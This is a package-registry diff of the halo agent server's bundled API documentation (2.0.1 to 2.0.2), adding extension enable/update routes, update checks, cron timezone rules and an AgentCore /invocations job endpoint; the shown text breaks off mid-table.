@turmind/halo 2.0.1 → 2.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin-out/404.html +1 -1
- package/admin-out/_next/static/chunks/0-ba3da5a638cc90d9.js +1 -0
- package/admin-out/_next/static/chunks/989-1e0950ea81450f70.js +1 -0
- package/admin-out/_next/static/chunks/app/page-aac322e92546015f.js +1 -0
- package/admin-out/_next/static/css/{e890aa0d13e94290.css → 2e6b00182ac44ae1.css} +1 -1
- package/admin-out/index.html +1 -1
- package/admin-out/index.txt +5 -5
- package/bundled-docs/design/agentcore.md +385 -34
- package/bundled-docs/design/canvas-extensions.md +76 -29
- package/bundled-docs/design/cron.md +1 -1
- package/bundled-docs/design/observability.md +4 -2
- package/bundled-docs/design/relay.md +2 -2
- package/bundled-docs/design/session.md +1 -1
- package/bundled-docs/design/storage.md +25 -3
- package/bundled-docs/design/stt-local.md +2 -2
- package/bundled-docs/design/ws.md +2 -1
- package/bundled-docs/dev/api.md +93 -13
- package/bundled-docs/dev/deploy.md +6 -0
- package/bundled-docs/dev/env.md +8 -4
- package/bundled-docs/guide/cli.md +25 -11
- package/bundled-docs/guide/skills.md +2 -2
- package/bundled-docs/guide/workspace.md +2 -2
- package/bundled-docs/requirements/editor.md +4 -4
- package/bundled-docs/requirements/settings.md +15 -3
- package/dist/index.js +3958 -2112
- package/package.json +2 -1
- package/templates/skills/extension/SKILL.md +21 -16
- package/templates/skills/extension/config.yaml +6 -2
- package/templates/skills/extension/templates/ext.sh +137 -57
- package/admin-out/_next/static/chunks/87-6a2716c98a819c4e.js +0 -1
- package/admin-out/_next/static/chunks/989-cb287787a4aca288.js +0 -1
- package/admin-out/_next/static/chunks/app/page-c9fb252d0cf34c20.js +0 -1
- /package/admin-out/_next/static/{52ayDC9phpvb-95S7qHHq → F5kkXJkkJ-4vNC_tb2Hjk}/_buildManifest.js +0 -0
- /package/admin-out/_next/static/{52ayDC9phpvb-95S7qHHq → F5kkXJkkJ-4vNC_tb2Hjk}/_ssgManifest.js +0 -0
package/bundled-docs/dev/api.md
CHANGED
|
@@ -84,19 +84,21 @@ Pagination: `limit` defaults to 100, capped at 1000. Same `(path, projectId)` re
|
|
|
84
84
|
|
|
85
85
|
## Canvas Preview Extensions
|
|
86
86
|
|
|
87
|
-
File: `packages/server/src/routes/extensions.ts` (+ `extensions/{registry,watcher,install}.ts`). Design: [design/canvas-extensions.md](../design/canvas-extensions.md).
|
|
87
|
+
File: `packages/server/src/routes/extensions.ts` (+ `extensions/{registry,watcher,install,state}.ts`) and `routes/updates.ts` (+ `updates/`). Design: [design/canvas-extensions.md](../design/canvas-extensions.md).
|
|
88
88
|
|
|
89
89
|
Installed extensions are directories under `~/.halo/global/extensions/<id>/` with a `halo-extension.json` manifest. The server is the only validator; the admin trusts the snapshot it receives (`ExtensionsSnapshot` from `packages/core/src/protocol/extension-types.ts`).
|
|
90
90
|
|
|
91
91
|
| Method | Path | Auth | Purpose |
|
|
92
92
|
|---|---|---|---|
|
|
93
|
-
| GET | `/api/extensions` | cookie | Current snapshot `{ extensions: ExtensionInfo[], errors: ExtensionError[] }` — `errors`
|
|
93
|
+
| GET | `/api/extensions` | cookie | Current snapshot `{ extensions: ExtensionInfo[], disabled: ExtensionInfo[], errors: ExtensionError[] }` — `extensions` = valid and switched on (the only list the host offers anywhere), `disabled` = valid but switched off (listed only in Settings → Extensions), `errors` = directories the scanner refused (bad / missing manifest) so the admin can show and uninstall them. Both valid lists sorted by id |
|
|
94
94
|
| GET | `/api/extensions/token` | cookie | Mint a scoped asset token: `{ token, expiresAt }` (JWT `{scope:'ext'}`, 24 h). The admin caches one per page and embeds it in the iframe URL |
|
|
95
95
|
| POST | `/api/extensions/install` | cookie | Multipart `file` = zip (≤ 100 MB, 413 above). Unpacks to a temp dir, validates the manifest (`id` must equal the directory / zip root, `entry` must exist), atomically replaces `~/.halo/global/extensions/<id>/`. Returns the resulting `ExtensionInfo`; 400 `{error}` for a bad zip / manifest |
|
|
96
|
-
|
|
|
96
|
+
| PATCH | `/api/extensions/:id` | cookie | Body `{ enabled: boolean }` — switch an installed extension on / off (`~/.halo/global/extensions/.state.json`). Sets the target state, so a repeat is a no-op (no write, no push). Returns `{ok, id, enabled}`; 400 for an invalid id or a missing / non-boolean `enabled`, 404 if not installed or the id is an error row (those can only be removed), 500 if the state file can't be written (e.g. it isn't a JSON object) |
|
|
97
|
+
| POST | `/api/extensions/:id/update` | cookie | One-click update, **no body**: the server re-reads the extension's update.json (manifest `source`, else `<hub_base>/<id>/update.json`), re-judges it and installs only on `available` — download (https, ≤ 100 MB), sha256 check, then the manifest id and version must match update.json. Works for on and off extensions; an off one stays off. Returns the new `ExtensionInfo`. 400 invalid id; 404 not installed; 409 `{error}` an update of this id is already running, or `{error, status}` (an `ExtensionUpdateEntry`) when the verdict is `current` / `needs-halo`; 502 `{error[, status]}` when the source or its package is at fault — update.json `not-found` / `invalid` / `refused` / `unreachable` / `no-source`, a failed download or sha256 mismatch, or a package the installer refuses (id / version mismatch, bad manifest); 500 otherwise |
|
|
98
|
+
| DELETE | `/api/extensions/:id` | cookie | Remove the directory and drop its on / off entry. 400 for an invalid id shape, 404 if not installed. Returns `{ok, id}` |
|
|
97
99
|
| GET | `/api/extensions/:id/:version/:token/<asset>` | **path token, no cookie** | Static file from the extension directory. 401 unless `verifyScopedToken(token,'ext')`; 404 if `version` ≠ installed version or the asset escapes the directory. Response headers: `Access-Control-Allow-Origin: *`, `Referrer-Policy: no-referrer`, `Cache-Control: public, max-age=31536000, immutable` (the version segment is the cache key) |
|
|
98
|
-
| WS | `/api/transcribe/stream?ext=<id>&lang=<auto\|xx-XX>` | cookie | Streaming transcription proxy to Amazon Transcribe (`routes/transcribe-ws.ts`; not mounted in AgentCore mode). Handshake 401 without the login cookie, 403 unless `ext` is installed and declares capability `transcribe`. Client → binary PCM s16le mono 16 kHz, text `{"type":"end"}` (flush, server closes 1000). Server → `{"type":"ready"}` (on connect; stream audio right after it), `{"type":"partial"\|"final",start,end,text,lang}` (seconds from the stream's first audio byte), `{"type":"error",code,message}` then close; `code` ∈ `credentials` \| `denied` \| `limit` \| `bad-request` \| `io`. Region / languages / credentials from the extension's `ext-<id>` settings (default chain when no keys) — see [design](../design/canvas-extensions.md#streaming-transcription-proxy) |
|
|
99
|
-
| WS | `/api/stt/stream?ext=<id>` | cookie | On-device speech-to-text — SenseVoice + Silero VAD via sherpa-onnx, no cloud (`routes/stt-ws.ts`; not mounted in AgentCore mode). Handshake 401 without the login cookie, 403 unless `ext` is installed and declares capability `stt-local`. Server → `{"type":"model",state,received?,total?,message?}` first (`state` ∈ `missing` \| `downloading` \| `ready` \| `error`; a missing model is downloaded from here, progress pushed ≤ 2/s), `{"type":"ready"}` once model + engine are loaded (binary sent before it is dropped), `{"type":"final",start,end,text,lang}` per VAD segment (seconds from the connection's first accepted sample; `lang` ∈ `zh` \| `en` \| `yue` \| `ja` \| `ko`), `{"type":"error",code,message}` then close 1011; `code` ∈ `model` \| `engine` \| `busy` \| `bad-request` \| `io`. Client → binary PCM s16le mono 16 kHz, text `{"type":"end"}` (remaining finals, then close 1000). No `lang` parameter — see [design/stt-local.md](../design/stt-local.md#ws-apisttstreamextid) |
|
|
100
|
+
| WS | `/api/transcribe/stream?ext=<id>&lang=<auto\|xx-XX>` | cookie | Streaming transcription proxy to Amazon Transcribe (`routes/transcribe-ws.ts`; not mounted in AgentCore mode). Handshake 401 without the login cookie, 403 unless `ext` is installed, switched on and declares capability `transcribe`. Client → binary PCM s16le mono 16 kHz, text `{"type":"end"}` (flush, server closes 1000). Server → `{"type":"ready"}` (on connect; stream audio right after it), `{"type":"partial"\|"final",start,end,text,lang}` (seconds from the stream's first audio byte), `{"type":"error",code,message}` then close; `code` ∈ `credentials` \| `denied` \| `limit` \| `bad-request` \| `io`. Region / languages / credentials from the extension's `ext-<id>` settings (default chain when no keys) — see [design](../design/canvas-extensions.md#streaming-transcription-proxy) |
|
|
101
|
+
| WS | `/api/stt/stream?ext=<id>` | cookie | On-device speech-to-text — SenseVoice + Silero VAD via sherpa-onnx, no cloud (`routes/stt-ws.ts`; not mounted in AgentCore mode). Handshake 401 without the login cookie, 403 unless `ext` is installed, switched on and declares capability `stt-local`. Server → `{"type":"model",state,received?,total?,message?}` first (`state` ∈ `missing` \| `downloading` \| `ready` \| `error`; a missing model is downloaded from here, progress pushed ≤ 2/s), `{"type":"ready"}` once model + engine are loaded (binary sent before it is dropped), `{"type":"final",start,end,text,lang}` per VAD segment (seconds from the connection's first accepted sample; `lang` ∈ `zh` \| `en` \| `yue` \| `ja` \| `ko`), `{"type":"error",code,message}` then close 1011; `code` ∈ `model` \| `engine` \| `busy` \| `bad-request` \| `io`. Client → binary PCM s16le mono 16 kHz, text `{"type":"end"}` (remaining finals, then close 1000). No `lang` parameter — see [design/stt-local.md](../design/stt-local.md#ws-apisttstreamextid) |
|
|
100
102
|
| GET | `/api/jupyter/status` | cookie | Notebook kernels (`routes/jupyter.ts`; not mounted in AgentCore mode). `{ enabled, available, version?, error?, hint? }` — never starts the server; disabled → `enabled:false, available:false`; Jupyter missing → `available:false` + `error` + `hint: 'pip install jupyter_server ipykernel'` |
|
|
101
103
|
| GET | `/api/jupyter/kernelspecs` | cookie | `{ default, specs: [{ name, displayName, language }] }`. Starts the local jupyter server on demand; 503 `{error, hint?}` when disabled / unavailable / it fails to start |
|
|
102
104
|
| POST | `/api/jupyter/kernels` | cookie | Body `{ projectId, path, name }` (`path` = workspace-relative notebook path, as in `init.file.path`). 400 for a missing field, unknown project, path outside the workspace or a missing directory. Starts kernel `name` with cwd = the notebook's directory → `{ id, name }` |
|
|
@@ -104,11 +106,20 @@ Installed extensions are directories under `~/.halo/global/extensions/<id>/` wit
|
|
|
104
106
|
| DELETE | `/api/jupyter/kernels/:id` | cookie | Shut the kernel down → `{ ok: true }`; 404 for an unknown id |
|
|
105
107
|
| WS | `/api/jupyter/channels?kernel=<id>[&session_id=<s>]` | cookie | Kernel channels: frames piped as-is both ways to the upstream `/api/kernels/<id>/channels` — legacy JSON text protocol (`channel` field), no subprotocol. `session_id` (`^[\w-]{1,128}$`, 1.6.3+) is forwarded, so a reconnect with the same one gets what jupyter buffered while the session had no socket. Handshake 401 without the cookie, 404 for an unknown kernel, 400 for a malformed `session_id`. The last socket closing starts a 60 s grace, then the kernel is shut down — see [design](../design/canvas-extensions.md#notebook-kernels-jupyter-proxy) |
|
|
106
108
|
|
|
107
|
-
Extension capabilities the host understands (`ExtensionCapability`): `save`, `media`, `transcribe`, `fs-read`, `stt-local` (may open `/api/stt/stream`; an installed one also starts the model download — [design/stt-local.md](../design/stt-local.md)); an unknown value makes the manifest an error. An optional manifest `activity` object (`icon`, `title[_zh]`, `description[_zh]`, `order`) arrives as `ExtensionInfo.activity` and gives the extension an admin activity-bar page; an optional `chatbar` object (`icon`, `title[_zh]`, `height`, `order`) arrives as `ExtensionInfo.chatbar` and gives it a chat-input toolbar button whose panel may `insert-text` into the draft and report `busy` to get a `close-request` before a user close unmounts it (no route of its own); with either, `extensions` may be `[]` (the icon is a normal asset served by the route above, `.svg` as `image/svg+xml`) — rules in [design/canvas-extensions.md](../design/canvas-extensions.md#manifest-halo-extensionjson). `fs-read` adds no extension-specific route: the host serves the extension's scoped `fs` frames and `pick` file picker from the [Filesystem browse](#filesystem-browse-not-project-scoped--for-the-workspace-picker) routes above (`scope: 'system'`) and the ordinary `/api/files/*` routes (`scope: 'workspace'`) — see [design/canvas-extensions.md](../design/canvas-extensions.md#scoped-file-access-and-the-picker-fs-read).
|
|
109
|
+
Extension capabilities the host understands (`ExtensionCapability`): `save`, `media`, `transcribe`, `fs-read`, `stt-local` (may open `/api/stt/stream`; an installed, switched-on one also starts the model download — [design/stt-local.md](../design/stt-local.md)); an unknown value makes the manifest an error. An optional manifest `activity` object (`icon`, `title[_zh]`, `description[_zh]`, `order`) arrives as `ExtensionInfo.activity` and gives the extension an admin activity-bar page; an optional `chatbar` object (`icon`, `title[_zh]`, `height`, `order`) arrives as `ExtensionInfo.chatbar` and gives it a chat-input toolbar button whose panel may `insert-text` into the draft and report `busy` to get a `close-request` before a user close unmounts it (no route of its own); with either, `extensions` may be `[]` (the icon is a normal asset served by the route above, `.svg` as `image/svg+xml`) — rules in [design/canvas-extensions.md](../design/canvas-extensions.md#manifest-halo-extensionjson). `fs-read` adds no extension-specific route: the host serves the extension's scoped `fs` frames and `pick` file picker from the [Filesystem browse](#filesystem-browse-not-project-scoped--for-the-workspace-picker) routes above (`scope: 'system'`) and the ordinary `/api/files/*` routes (`scope: 'workspace'`) — see [design/canvas-extensions.md](../design/canvas-extensions.md#scoped-file-access-and-the-picker-fs-read).
|
|
108
110
|
|
|
109
111
|
**Why the asset route isn't cookie-authed.** The admin first hosted extensions in `<iframe sandbox="allow-scripts">` without `allow-same-origin` — an opaque origin. The document navigation still carries the cookie, but every subresource it loads (classic/module scripts, img, css, fetch, wasm, dynamic import, Worker) is a cross-site request with **no cookie**, and module/fetch/wasm need `Access-Control-Allow-Origin` too. A `?token=` query would be dropped when the document resolves `./viewer.js`-style relative URLs, so the token is a **path segment** that every relative URL inherits. The host now grants `allow-same-origin` (a cookie-auth proxy in front of halo — CloudFront + midway, oauth2-proxy — needs its *own* cookie on those requests, which only a same-origin iframe sends; see [design/canvas-extensions.md](../design/canvas-extensions.md#asset-serving-and-the-scoped-token)), so the admin cookie does travel again, but the route keeps the path token as its single auth path. `authMiddleware` lets exactly that path shape (`EXTENSION_ASSET_PATH = /^\/api\/extensions\/[^/]+\/[^/]+\/[^/]+\/./`) through without a cookie and the route verifies the token itself. The token is good for nothing else: `validateToken` (admin cookie / WS upgrade) refuses any JWT payload that carries a `scope`, so an asset token replayed as `halo_token` is a 401.
|
|
110
112
|
|
|
111
|
-
Install / uninstall don't broadcast themselves — the resulting rename / rm trips the `fs.watch` on `~/.halo/global/extensions/` (`extensions/watcher.ts`), the single notifier;
|
|
113
|
+
Install / update / switch / uninstall don't broadcast themselves — the resulting rename / rm trips the `fs.watch` on `~/.halo/global/extensions/` (`extensions/watcher.ts`), the single notifier; the routes also call `rescanAndBroadcast()` so their response and the next `GET` already reflect the change. Changes reach every connected admin as the WS frame `extension:changed` (full snapshot — see [design/ws.md](../design/ws.md#other-server--client-messages)). All cookie routes are "any logged-in admin" — the cookie has no access level, so install / update / switch / delete cannot be restricted to full access (the agent-side `extension` skill is `requiresAccess: full`).
|
|
114
|
+
|
|
115
|
+
**Update checks** (`routes/updates.ts`; cookie, not on the public `/api/health`; not mounted in AgentCore mode). Both answer at once from an in-memory cache; a check they start reports `checking: true`, and its result arrives as the WS frame `updates:changed {scope, status}`. No timer, no polling. Rules: [design/canvas-extensions.md → Updates](../design/canvas-extensions.md#updates-updatejson).
|
|
116
|
+
|
|
117
|
+
| Method | Path | Auth | Purpose |
|
|
118
|
+
|---|---|---|---|
|
|
119
|
+
| GET | `/api/updates?scope=core\|extensions` | cookie | Cached status; starts a check when there is no result or it is ≥ 24 h old (failures cached the same). `core` → `CoreUpdateStatus {current, latest, state, error?, checkedAt, checking}`, `state` ∈ `unknown` \| `current` \| `available` \| `error` \| `dev` (npm dist-tags `latest`; `npm_config_registry` when https). `extensions` → `ExtensionsUpdateStatus {extensions: [{id, installed, state, latest?, minHalo?, error?}], checkedAt, checking}`, one entry per installed extension (on and off), `state` ∈ `unknown` \| `current` \| `available` \| `needs-halo` \| `not-found` \| `invalid` \| `refused` \| `unreachable` \| `no-source`. 400 `{error: 'scope must be "core" or "extensions"'}` |
|
|
120
|
+
| POST | `/api/updates/check` | cookie | Body `{ scope: 'core' \| 'extensions' }` — force a check unless the last one finished < 60 s ago (then the cached status). One check per scope at a time. Same response and 400 as `GET` |
|
|
121
|
+
|
|
122
|
+
Types: `packages/core/src/protocol/update-types.ts`.
|
|
112
123
|
|
|
113
124
|
## Session Logs (unified)
|
|
114
125
|
|
|
@@ -217,8 +228,8 @@ File: `packages/server/src/routes/cron.ts`. Admin cookie auth. REST CRUD over `c
|
|
|
217
228
|
| Method | Path | Purpose |
|
|
218
229
|
|---|---|---|
|
|
219
230
|
| GET | `/api/cron/jobs?limit=&before=` | Cursor-paginated newest-first by `createdAt`. Default `limit` 20, max 100; `before` is a `createdAt` cursor. Returns `{jobs, hasMore, nextCursor}`. Each job has `targets` decoded, a live `nextRunAt` (computed from schedule/runAt, inside the active window), `sessionId` (`null` = runs in the job's own session), `effectiveSessionId` (the session the cli actually runs in: `sessionId`, else the job's own — same id as the job, `cron-<id>` for a custom id without that prefix; older jobs were pinned to their original `cron-cron-…` session by a cron.db migration), `activeFrom` / `activeUntil` (`null` = unbounded), `workingDir` (workspace-relative folder the run focuses on; `null` = the workspace root), `stateless` (boolean; `true` = a fresh session every run), and `sessionAgentId` (the agent of the effective session once it exists — the job's agent is locked to it; `null` for a stateless job, a session not created yet, or a session that can't be read) |
|
|
220
|
-
| POST | `/api/cron/jobs` | Create a job. Body: `{label?, workspacePath, agentId, userPrompt, schedule, runAt?, timezone?, timeoutSec?, sessionId?, workingDir?, stateless?, targets?, enabled?}`. Exactly one of `schedule` (5-field cron) or `runAt` (epoch ms, future) is required; mutually exclusive. `timeoutSec` must be an integer 60–21600 (else 400); unset = runner default 3600. `sessionId` picks an existing (or to-be-created) **root** session of `workspacePath` for the cli to run in — `[A-Za-z0-9_:-]{1,200}`, no `>` sub-session path (else 400); unset / `null` / `''` = the job's own session (id = the job id). A picked session that already exists keeps its own access level, and its agent must equal `agentId` (agent lock, below); see [design/cron.md](../design/cron.md#execution-runjob) for the shared-session guards. `activeFrom` / `activeUntil` (epoch ms or `null`, recurring only): the schedule fires only inside `[activeFrom, activeUntil)`; with `runAt` → 400; `activeUntil` must be in the future and after `activeFrom` (else 400); `activeFrom` may be in the past. `workingDir` (workspace-relative or absolute; unset / `null` / `''` = the root) must be an existing directory inside `workspacePath` (else 400 `workingDir: …`); stored workspace-relative. `stateless` (boolean, else 400) runs every fire in a fresh session; with `sessionId` → 400 `stateless (new session every run) and sessionId are mutually exclusive`. Agent lock: when the effective session already exists and runs another agent → 400 `session <id> already runs agent <x>; …`; a session db that can't be read → 400 `could not read session <id> from <ws>: …`. Returns `{ok, id}` |
|
|
221
|
-
| PUT | `/api/cron/jobs/:id` | Partial update over the same fields. Re-validates `schedule` / `runAt` and enforces trigger-mode exclusivity on the **merged** row: both in one body → 400 `schedule and runAt are mutually exclusive`; supplying one side is a mode switch that implicitly clears the other; a body that clears the active side without supplying a replacement → 400 `schedule or runAt required`. `runAt` must be a finite future epoch-ms number or `null`. `timeoutSec` follows the same partial-body contract: omitted = unchanged, `null` = clear back to the default, a number is range-validated (60–21600) same as create. `sessionId` likewise: omitted = unchanged, `null` / `''` = back to the job's own session (an older job pinned to `cron-cron-…` then starts a fresh one), a string is validated same as create. `activeFrom` / `activeUntil` likewise (omitted = unchanged, `null` = clear); the window rules are checked on the **merged** row, so switching to `runAt` while a window is stored needs both bounds cleared in the same body, and a newly supplied `activeUntil` must be in the future (a stored past one doesn't block editing other fields). `workingDir` likewise (omitted = unchanged, `null` / `''` = back to the root); a stored folder is re-checked when `workspacePath` changes. `stateless` and the `sessionId` exclusivity are checked on the **merged** row. The agent-lock / read-error 400s (see POST) apply only when the body changes the stored agent, session, `stateless` or `workspacePath` — so an unrelated edit such as `{enabled:false}` always succeeds, even for a job whose session already runs another agent. Flips schedule/unschedule on `enabled`. Returns `{ok}` |
|
|
231
|
+
| POST | `/api/cron/jobs` | Create a job. Body: `{label?, workspacePath, agentId, userPrompt, schedule, runAt?, timezone?, timeoutSec?, sessionId?, workingDir?, stateless?, targets?, enabled?}`. Exactly one of `schedule` (5-field cron) or `runAt` (epoch ms, future) is required; mutually exclusive. `timeoutSec` must be an integer 60–21600 (else 400); unset = runner default 3600. `timezone` is an IANA name (e.g. `Asia/Shanghai`); unset / `null` / `''` = the host timezone (see `/api/cron/meta`); a non-string → 400 `timezone must be a string`, a zone `Intl.DateTimeFormat` rejects → 400 `invalid timezone: <value>`. `sessionId` picks an existing (or to-be-created) **root** session of `workspacePath` for the cli to run in — `[A-Za-z0-9_:-]{1,200}`, no `>` sub-session path (else 400); unset / `null` / `''` = the job's own session (id = the job id). A picked session that already exists keeps its own access level, and its agent must equal `agentId` (agent lock, below); see [design/cron.md](../design/cron.md#execution-runjob) for the shared-session guards. `activeFrom` / `activeUntil` (epoch ms or `null`, recurring only): the schedule fires only inside `[activeFrom, activeUntil)`; with `runAt` → 400; `activeUntil` must be in the future and after `activeFrom` (else 400); `activeFrom` may be in the past. `workingDir` (workspace-relative or absolute; unset / `null` / `''` = the root) must be an existing directory inside `workspacePath` (else 400 `workingDir: …`); stored workspace-relative. `stateless` (boolean, else 400) runs every fire in a fresh session; with `sessionId` → 400 `stateless (new session every run) and sessionId are mutually exclusive`. Agent lock: when the effective session already exists and runs another agent → 400 `session <id> already runs agent <x>; …`; a session db that can't be read → 400 `could not read session <id> from <ws>: …`. Returns `{ok, id}` |
|
|
232
|
+
| PUT | `/api/cron/jobs/:id` | Partial update over the same fields. Re-validates `schedule` / `runAt` and enforces trigger-mode exclusivity on the **merged** row: both in one body → 400 `schedule and runAt are mutually exclusive`; supplying one side is a mode switch that implicitly clears the other; a body that clears the active side without supplying a replacement → 400 `schedule or runAt required`. `runAt` must be a finite future epoch-ms number or `null`. `timeoutSec` follows the same partial-body contract: omitted = unchanged, `null` = clear back to the default, a number is range-validated (60–21600) same as create. `timezone` likewise: omitted = unchanged, `null` / `''` = clear back to the host timezone, anything else is validated same as create (same two 400s). `sessionId` likewise: omitted = unchanged, `null` / `''` = back to the job's own session (an older job pinned to `cron-cron-…` then starts a fresh one), a string is validated same as create. `activeFrom` / `activeUntil` likewise (omitted = unchanged, `null` = clear); the window rules are checked on the **merged** row, so switching to `runAt` while a window is stored needs both bounds cleared in the same body, and a newly supplied `activeUntil` must be in the future (a stored past one doesn't block editing other fields). `workingDir` likewise (omitted = unchanged, `null` / `''` = back to the root); a stored folder is re-checked when `workspacePath` changes. `stateless` and the `sessionId` exclusivity are checked on the **merged** row. The agent-lock / read-error 400s (see POST) apply only when the body changes the stored agent, session, `stateless` or `workspacePath` — so an unrelated edit such as `{enabled:false}` always succeeds, even for a job whose session already runs another agent. Flips schedule/unschedule on `enabled`. Returns `{ok}` |
|
|
222
233
|
| DELETE | `/api/cron/jobs/:id` | Unschedule, delete each stateless run's own session (except running / user-continued ones) and the job's `cron_runs` rows, then delete the job. A run still in progress keeps its row and session until it finalizes, then both go ([cron.md → Retention](../design/cron.md#retention)). Returns `{ok}` |
|
|
223
234
|
| POST | `/api/cron/jobs/:id/run-now` | Fire the job immediately (fire-and-forget). Returns `{ok}` |
|
|
224
235
|
| POST | `/api/cron/reload` | Re-read every job from db and rebuild schedules. Returns `{ok}` |
|
|
@@ -470,7 +481,7 @@ PATCH / DELETE walk the dotted key layer by layer, so a segment of `__proto__` /
|
|
|
470
481
|
- `general.observability.headers` — extra OTLP request headers, comma-separated `k=v` (secret)
|
|
471
482
|
- `general.observability.capture_content` — put prompt/completion/tool text on spans, default `false`
|
|
472
483
|
|
|
473
|
-
All four are `globalOnly`, take effect on restart. See [design/observability.md](../design/observability.md).
|
|
484
|
+
All four are `globalOnly`, take effect on restart. The standard `OTEL_*` env vars override them: `OTEL_EXPORTER_OTLP_ENDPOINT` / `_HEADERS` / `OTEL_SERVICE_NAME` when exported (the settings fill them only if unset), and `OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT` (`true` / `false` / `1` / `0`) beats `capture_content` either way — so a container can be configured from its env alone, without a settings edit. See [design/observability.md](../design/observability.md).
|
|
474
485
|
|
|
475
486
|
### Notebook kernel settings
|
|
476
487
|
|
|
@@ -506,15 +517,84 @@ File: `packages/server/src/routes/evolution.ts`. Surfaces the global `evolution_
|
|
|
506
517
|
|
|
507
518
|
## AgentCore runtime container (`halo agentcore` only)
|
|
508
519
|
|
|
509
|
-
|
|
520
|
+
Files: `packages/server/src/a2a/agentcore.ts` (routes), `invocations.ts` (jobs), `agentcore-front.ts` (session-dirs front). Served **only** when `HALO_RUNTIME_MODE=agentcore-a2a` (set by `halo agentcore`; see [design/agentcore.md](../design/agentcore.md)), on port 9000 (A2A runtimes) or 8080 (HTTP runtimes) — every route on either; AgentCore forwards only its protocol's. No cookie / token auth — AgentCore verifies the caller's signed request before forwarding. Not present in normal server mode.
|
|
510
521
|
|
|
511
522
|
| Method | Path | Purpose |
|
|
512
523
|
|---|---|---|
|
|
513
|
-
| GET | `/ping` | `{"status":"HealthyBusy"}` while the workspace lease is held and a session is running or a
|
|
524
|
+
| GET | `/ping` | `{"status":"HealthyBusy"}` while the workspace lease is held and a session is running, a push is pending or a notify hook is in flight, else `{"status":"Healthy"}` |
|
|
514
525
|
| POST | `/` | A2A JSON-RPC. Without the workspace lease: error `-32603` "workspace is in use by another runtime session…" |
|
|
515
526
|
| GET | `/.well-known/agent-card.json` | The agent card (`<ws>/.halo/agent-card.json`, seeded if missing); interface URL = `HALO_A2A_PUBLIC_URL` + `/`; no `securitySchemes` |
|
|
527
|
+
| POST | `/invocations` | Prompt job over plain HTTP (HTTP-protocol runtimes: EventBridge Scheduler, scripts) — [below](#post-invocations) |
|
|
528
|
+
|
|
529
|
+
Any other path is 404, exact match (`//`, `/invocations/` are 404 too). An earlier HTTP mode (`/invocations` with WS `/ws` and per-user workspaces) was removed 2026-10-09; today's `/invocations` is the job entry below.
|
|
530
|
+
|
|
531
|
+
**Session-dirs mode** (`HALO_AGENTCORE_SESSION_DIRS=1`, [design](../design/agentcore.md#session-dirs)): a root front answers first. `/ping` is its own until a worker is up. Every other request needs `X-Amzn-Bedrock-AgentCore-Runtime-Session-Id` matching `^[A-Za-z0-9][A-Za-z0-9_-]{32,254}$` (33–255 chars: the id is the dir name, so AgentCore's 256-char maximum is a 400 here) — missing / invalid → 400; another id than the one this microVM serves → 409; base not a mount point yet → 503 (retry); session-dir creation failed → 500 (retry); view setup failed or worker not ready within 30 s → 503 for every later request; a front handler failing → 500. Errors are `{"error": "…"}`. Past that, requests are proxied to the worker unchanged.
|
|
532
|
+
|
|
533
|
+
**503 = not serving right now; the reason is the `error` text.** Only a failed view setup and a worker not ready in 30 s are for good on that microVM; the base not a mount point yet and the lease held by another runtime session clear on their own (retry with the same `id`). Don't decide to give up from the status alone.
|
|
534
|
+
|
|
535
|
+
### POST `/invocations`
|
|
536
|
+
|
|
537
|
+
Request body — a JSON object, ≤ 1 MiB; unknown fields are ignored:
|
|
538
|
+
|
|
539
|
+
| Field | Type | Meaning |
|
|
540
|
+
|---|---|---|
|
|
541
|
+
| `prompt` | string | The job prompt. Exactly one of `prompt` / `promptFile`. |
|
|
542
|
+
| `promptFile` | string | Workspace-relative path of the prompt: a regular file inside the workspace, not a hidden runtime path, non-empty, ≤ 1 MiB. |
|
|
543
|
+
| `session` | string | Halo root session id, `^[A-Za-z0-9_:-]{1,200}$`. Existing → resumed with its own agent; new → created. Absent → a fresh `inv_…` session. |
|
|
544
|
+
| `agent` | string | Agent for a new session (default: the workspace default). Ignored for an existing one. |
|
|
545
|
+
| `id` | string | Caller's idempotency key, ≤ 256 chars. |
|
|
546
|
+
| `async` | boolean | `true` → answer the receipt at once. |
|
|
547
|
+
|
|
548
|
+
Or, alone: `{"get": "<invocation id or caller id>"}` (≤ 256 chars; any other field → 400).
|
|
549
|
+
|
|
550
|
+
Response mode for a new job: `"async": true` → the receipt; `Accept: text/event-stream` → SSE; otherwise sync — wait up to 10 min for the job to finish, then the job body (still `running` past the cap; `get` it later). A dropped client only stops waiting; the run continues.
|
|
551
|
+
|
|
552
|
+
```jsonc
|
|
553
|
+
// Receipt (async; also SSE's first event)
|
|
554
|
+
{ "status": "accepted", "invocation": "<uuid>", "session": "s1", "id": "job-42" }
|
|
516
555
|
|
|
517
|
-
|
|
556
|
+
// Job body (sync, get, SSE's result event)
|
|
557
|
+
{
|
|
558
|
+
"status": "ok", // running | ok | error | superseded
|
|
559
|
+
"invocation": "<uuid>", "session": "s1", "id": "job-42", // id null when not given
|
|
560
|
+
"result": "<final reply, MEDIA: lines kept>", // null while running
|
|
561
|
+
"files": [{ "path": "/workspace/out/a.mp3", "size": 48213 }], // MEDIA: files that existed at finish
|
|
562
|
+
"startedAt": "2026-10-17T14:02:11.000Z",
|
|
563
|
+
"finishedAt": "2026-10-17T14:02:15.500Z", // null while running
|
|
564
|
+
"supersededBy": "<uuid> | a2a:<task id> | relay:<session id>" // only when superseded
|
|
565
|
+
}
|
|
566
|
+
|
|
567
|
+
// Same id seen before: that job's current body + "duplicate": true, nothing runs
|
|
568
|
+
{ "status": "running", "invocation": "<uuid>", …, "duplicate": true }
|
|
569
|
+
```
|
|
570
|
+
|
|
571
|
+
SSE (`text/event-stream`):
|
|
572
|
+
|
|
573
|
+
```
|
|
574
|
+
event: accepted
|
|
575
|
+
data: {"status":"accepted","invocation":"<uuid>","session":"s1","id":"job-42"}
|
|
576
|
+
|
|
577
|
+
event: delta
|
|
578
|
+
data: {"text":"…"} ← root session's live text, any number
|
|
579
|
+
|
|
580
|
+
: keepalive ← every 15 s
|
|
581
|
+
|
|
582
|
+
event: result
|
|
583
|
+
data: {<job body>}
|
|
584
|
+
```
|
|
585
|
+
|
|
586
|
+
`superseded`: something else on the same session took over this one's completion — a new job (`supersededBy` = its invocation id), an A2A SendMessage (`a2a:<task id>`) or a relay dispatch (`relay:<caller session id>`); a sync waiter or SSE stream on the old job answers that at once.
|
|
587
|
+
|
|
588
|
+
| Status | When |
|
|
589
|
+
|---|---|
|
